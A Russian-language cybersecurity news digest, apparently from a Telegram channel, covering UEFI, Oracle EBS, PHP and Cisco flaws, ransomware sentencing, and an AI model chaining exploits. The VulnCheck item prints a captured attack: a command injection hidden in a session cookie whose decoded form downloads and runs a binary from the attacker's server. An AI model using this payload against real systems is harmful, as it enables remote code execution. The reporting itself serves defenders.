Уязвимость в UEFI TianoCore EDK II позволяет выполнять код до загрузки ОС

Обнаружена уязвимость выполнения кода в прошивке UEFI, затрагивающая большинство серверов. Уязвимость с рейтингом 9,5 из 10 находится в TianoCore EDK II, открытой кодовой базе, которую производители оборудования и облачные провайдеры используют для создания прошивки UEFI.

Уязвимость отслеживается как CVE-2026-97631. Это ошибка повреждения памяти в компоненте ICMP, которую злоумышленники могут использовать для выполнения вредоносного кода до того, как операционная система и прошивка смогут применить такие средства защиты, как Secure Boot.

ⓘ Что такое UEFI
UEFI (Unified Extensible Firmware Interface) — это интерфейс между операционной системой и прошивкой системной платы. Он заменяет BIOS и отвечает за инициализацию оборудования при запуске компьютера.

Источники: Ars Technica / Security · Anti-Malware · Security Affairs
@cbunit

VulnCheck Canary Intelligence: сбор данных об эксплуатации уязвимостей в реальном времени

▤ Разбор

VulnCheck представила сервис Canary Intelligence, который собирает данные об эксплуатации уязвимостей.

Сервис фиксирует не только факт эксплуатации, но и используемые эксплойты, полезную нагрузку и инфраструктуру злоумышленников. Данные собираются с помощью «канареек» — намеренно уязвимых экземпляров ПО, имитирующих реальные системы. Это позволяет получать информацию об атаках в режиме реального времени, в отличие от каталога CISA KEV, который фокусируется на подтверждённых уязвимостях для федеральных агентств.

Canary Intelligence фиксирует индикаторы компрометации, такие как IP-адреса атакующих и адреса серверов управления, которые часто исчезают в течение 24 часов. Сервис уже обнаружил эксплуатацию 558 уязвимостей, 342 из которых не были включены в CISA KEV. Для 89 уязвимостей данные VulnCheck стали первым публичным свидетельством их эксплуатации.

ⓘ Что такое KEV
KEV (Known Exploited Vulnerabilities) — это каталог уязвимостей, которые активно эксплуатируются злоумышленниками. Его ведёт CISA, американское агентство по кибербезопасности. Включение уязвимости в KEV означает, что она представляет непосредственную угрозу и требует немедленного устранения.

timestamp:   2025-11-01T10:30:03Z
cve:         CVE-2025-2611
signature:   VULNCHECK ICTBroadcast CVE-2025-2611 Exploit Attempt
src_ip:      159.65.227[.]190   (AS14061 DigitalOcean, US)
request:     GET /login.php

decoded payload (session cookie):
  Cookie: BROADCAST=`echo${IFS}Y3VybCAtc28gLi9KdGNO...|base64${IFS}-d|sh`

  -> curl -so ./JtcNxenygVt hxxp://159.65.227[.]190:8085/kW1iAgcQfIO8JeqRA9EBBA;
     chmod +x ./JtcNxenygVt; ./JtcNxenygVt &

Источник: VulnCheck
@cbunit

Adobe Campaign Classic: уязвимость Code Injection позволяет выполнить код без прав

Adobe Campaign Classic (ACC) подвержена уязвимости «Ненадлежащий контроль генерации кода» (Code Injection). Уязвимость позволяет низкопривилегированному атакующему выполнить произвольный код в контексте текущего пользователя. Эксплуатация не требует взаимодействия с пользователем.

Уязвимость имеет высокий уровень критичности CVSS 9.9. Класс слабости — CWE-94. Adobe выпустила исправление для уязвимости.

ⓘ Что такое Adobe Campaign Classic
Adobe Campaign Classic — это платформа для управления маркетинговыми кампаниями. Она позволяет компаниям создавать, автоматизировать и доставлять персонализированные маркетинговые сообщения клиентам по различным каналам.

Источники: NVD · The Hacker News
@cbunit

ИИ Anthropic нашёл и объединил уязвимости в Chrome, Safari, Windows и Linux

Модель искусственного интеллекта от Anthropic, находящаяся в разработке, обнаружила уязвимости в браузерах Chrome и Safari, а также в операционных системах Windows и Linux. Она смогла объединить эти уязвимости в рабочие эксплойты.

Эксплойты были созданы в лаборатории после получения запроса к модели и не применялись в реальных атаках. Anthropic уведомила всех вендоров об обнаруженных уязвимостях, и все они уже устранены. Один из примеров — эксплойт, который за несколько секунд открыл приложение «Калькулятор» на Mac с запущенным Chrome без дополнительных действий пользователя.

Команда Frontier Red Team из Anthropic описала пять цепочек уязвимостей. Особое внимание уделяется тому, что модель нашла несколько отдельных уязвимостей и объединила их в рабочий эксплойт, что ранее было под силу лишь узкому кругу специалистов.

ⓘ Модель Claude от Anthropic
Claude — это семейство больших языковых моделей, разработанных компанией Anthropic. Они предназначены для выполнения широкого спектра задач, включая анализ текста, генерацию контента и помощь в исследованиях безопасности.

❝Now, it's something models can do with little human involvement, and then prove by producing a working exploit that anyone can run and verify.❞
— Anthropic

Источники: The Hacker News · Хабр / Новости
@cbunit

Oracle EBS: злоумышленники ищут критическую уязвимость CVE-2026-101767

Злоумышленники сканируют интернет в поисках уязвимых систем Oracle E-Business Suite (EBS).

Уязвимость CVE-2026-101767 позволяет неаутентифицированным атакующим с сетевым доступом через HTTP захватить контроль над системами. Oracle выпустила обновления в октябре 2026 года и рекомендовала клиентам незамедлительно установить патчи.

Компания Defused зафиксировала сканирование уязвимых систем, хотя Oracle ещё не классифицировала CVE-2026-101767 как эксплуатируемую в реальных атаках. Shadowserver отслеживает более 670 экземпляров Oracle EBS, доступных из интернета, но не указывает их статус защиты.

ⓘ Что такое CVE-2026-101767
CVE-2026-101767 — критическая уязвимость в Oracle E-Business Suite (EBS), позволяющая неаутентифицированным атакующим с доступом по HTTP удалённо выполнить код. Уязвимость находится в компоненте Application Object Library и эксплуатирует SQL-инъекцию в Thin Client Framework servlet.

❝Our Oracle E-Business Suite decoys recorded exploratory exploits against CVE-2026-101767, an unauthenticated SQL injection in EBS's Thin Client Framework servlet that chains to remote code execution, this morning, Oct 27," Defused warned.❞
— Defused

Источники: BleepingComputer · The Hacker News
@cbunit

Выручка ИБ-вендора F6 выросла в 2,6 раза, компания вышла в прибыль

Российский ИБ-вендор F6 отчитался о росте выручки в 2,6 раза за первое полугодие 2026 года. Показатель достиг 2,5 млрд рублей, чистая прибыль составила 977 млн рублей против убытка годом ранее. Основной вклад внесли продажи лицензий на ПО (2,3 млрд рублей), сервисное направление выросло более чем вдвое.

Компания сократила чистый долг до 131 млн рублей с 4,6 млрд на конец 2025 года. Рост обеспечен продажами ПО, выводом новых решений и расширением клиентской базы. F6 выпустила четыре новых продукта, включая Threat Intelligence Feeds и платформу Transaction Fraud Protection.

ⓘ Что такое F6
F6 — российский ИБ-вендор, появившийся в начале 2025 года. Компания занимается разработкой и продажей программного обеспечения для информационной безопасности, включая Threat Intelligence Feeds, F6 Sphere, ASM TRY и Transaction Fraud Protection. Основной источник роста выручки — продажа лицензий на ПО.

Источник: SecPost
@cbunit

Участника атак Hive и Nefilim приговорили к 70 месяцам тюрьмы

Гражданин Украины Артём Стрельжак приговорён к 70 месяцам тюрьмы за участие в серии атак программ-вымогателей. С середины 2018 по конец 2021 года он атаковал операторов критической инфраструктуры и коммерческие предприятия.

Стрельжак присоединился к группам Nefilim и Hive, которые атаковали около 1500 жертв по всему миру. Атаки включали больницы, государственные учреждения, юридические фирмы и компании из нефтегазовой отрасли. Вымогатели угрожали публикацией украденных данных для получения выкупа.

ⓘ Что такое Hive
Hive — это семейство программ-вымогателей, появившееся в 2020 году. Злоумышленники, использующие Hive, шифруют данные жертв и требуют выкуп за их расшифровку. Группировка известна атаками на крупные компании и критическую инфраструктуру.

Источники: CyberScoop · SecurityWeek · The Register
@cbunit

В камерах Intelbras нашли дыру, позволяющую отключить их удалённо

Эксперты «Лаборатории Касперского» обнаружили уязвимость в IP-системах видеонаблюдения Intelbras. Проблема заключается в небезопасном механизме обновления прошивки, который не требует аутентификации.

Уязвимость позволяет злоумышленникам удалённо инициировать обновление прошивки, что приводит к временному отключению камеры. Повторяющиеся запросы могут удерживать устройство в офлайн-режиме неограниченное время. Уязвимость затрагивает модели iM3B-C, iMX C, iM4 C, iM5 SC, iME 360 C и iM7+ FC. Приложение Intelbras для управления камерами скачали более 4 млн раз, большинство пользователей находятся в Южной Америке.

«Лаборатория Касперского» уведомила Intelbras. Производитель выпустил обновление, устраняющее уязвимость. Рекомендуется обновить прошивку до последней версии.

Источники: Kaspersky · IT Channel News · SecPost
@cbunit

Бюджеты на ИБ растут, но CEOs считают кибербезопасность главным техриском

IDC прогнозирует рост расходов на кибербезопасность до $310,42 млрд в 2026 году, что на 13,2% больше, чем в 2025 году. Несмотря на увеличение бюджетов, опросы руководителей и специалистов по безопасности показывают, что кибербезопасность остаётся главным технологическим риском для компаний.

Исследование IDC выявило разрыв между инвестициями в безопасность и реальным снижением рисков. Руководители ИТ-отделов должны определить причины этого несоответствия в своих организациях. Для этого предлагается ответить на три вопроса: оправданы ли закупки инструментов AppSec реальными находками или только новыми функциями, как расходы на безопасность конечных точек соотносятся с размером организации и учитывается ли безопасность при обсуждении финансирования ИИ.

Источник: IDC
@cbunit

#дайджест

Главное к исходу среды (28.10):

🔸 Adobe Campaign Classic: уязвимость Code Injection позволяет выполнить код без прав

🔸 APT-группы активизировали атаки на организации в Африке

🔸 В камерах Intelbras нашли дыру, позволяющую отключить их удалённо

🔸 Уязвимость в UEFI TianoCore EDK II позволяет выполнять код до загрузки ОС

❢ PHP2Shell: критические уязвимости позволяют выполнять код без аутентификации

▤ Разбор

Две критические уязвимости PHP2Shell (CVE-2026-109618 и CVE-2026-109619) позволяют злоумышленникам выполнять код на серверах без аутентификации. PHP используется во многих веб-приложениях, включая WordPress и Drupal.

Исследование IDC показало, что главными проблемами при обнаружении уязвимостей являются определение местоположения уязвимого ПО (30,7%) и выбор приоритетов для исправления (28,8%). Эти результаты указывают на необходимость улучшения процессов управления активами и программным обеспечением до момента раскрытия уязвимостей. Искусственный интеллект ускоряет как обнаружение уязвимостей, так и разработку эксплойтов, сокращая время на реагирование.

ⓘ Что такое PHP2Shell
PHP2Shell — это две критические уязвимости в языке программирования PHP, позволяющие злоумышленникам выполнять произвольный код на серверах. Уязвимости были обнаружены с помощью передовых моделей ИИ. Они позволяют атакующим получить контроль над затронутыми системами, что требует немедленного обновления или отключения серверов.

Источники: IDC · Хабр / ИБ · Wordfence
@cbunit

Volt Typhoon использует временную инфраструктуру для скрытного доступа к сетям США

Китайская хакерская группировка Volt Typhoon использует временную вредоносную инфраструктуру для проникновения в критически важные сети США. Исследователи Lumen Technologies назвали эту операцию «Silent Train». Она представляет собой цепочку скомпрометированных SOHO-маршрутизаторов, IoT-устройств и корпоративной инфраструктуры, которую Volt Typhoon ротирует с конца 2023 года.

Группировка применяет эту инфраструктуру для эксплуатации уязвимостей, включая 0-day, в сетевых граничных устройствах. Это позволяет ей получать более глубокий и устойчивый доступ к сетям жертв. Отдельные цепочки собираются и разбираются ежедневно, а инфраструктура постоянно обновляется. Volt Typhoon демонстрирует способность восстанавливать новую цепочку менее чем за две минуты.

Источники: CyberScoop · The Hacker News
@cbunit

Уязвимость в Cisco Secure Firewall вызывает отказ в обслуживании через SSL VPN

Уязвимость в службе удалённого доступа SSL VPN программного обеспечения Cisco Secure Firewall ASA и Cisco Secure Firewall Threat Defense может позволить удалённому злоумышленнику вызвать перезагрузку устройства. Это приведёт к отказу в обслуживании (DoS).

Уязвимость связана с ошибками логики при настройке вторичной аутентификации в группе туннелей. Атакующий может использовать её, отправив специально сформированный запрос при подключении к SSL VPN. Успешная эксплуатация приведёт к перезагрузке устройства и состоянию DoS.

Источники: Cisco PSIRT · SecurityWeek
@cbunit

Эксплуатация уязвимостей стала главной причиной компрометации систем

Эксплуатация уязвимостей стала основной причиной компрометации корпоративных систем. Отчёт LevelBlue за третий квартал показал, что на долю эксплуатации уязвимостей пришлось 14% случаев первоначального доступа, что на 10% больше, чем во втором квартале. В первом квартале этот показатель составлял 20%.

Отчёт Verizon за 2026 год подтвердил эту тенденцию: эксплуатация уязвимостей оказалась в центре 31% компрометаций, что на 11% больше, чем годом ранее. Фишинг и социальная инженерия остаются ведущим вектором атак, но их доля снизилась до 42% с 65% во втором квартале.

ⓘ Что такое edge devices
К устройствам на периметре сети (edge devices) относятся VPN-шлюзы, межсетевые экраны и устройства удалённого доступа. Они напрямую подключены к интернету и часто становятся целью для злоумышленников из-за уязвимостей.

Источник: CSO Online
@cbunit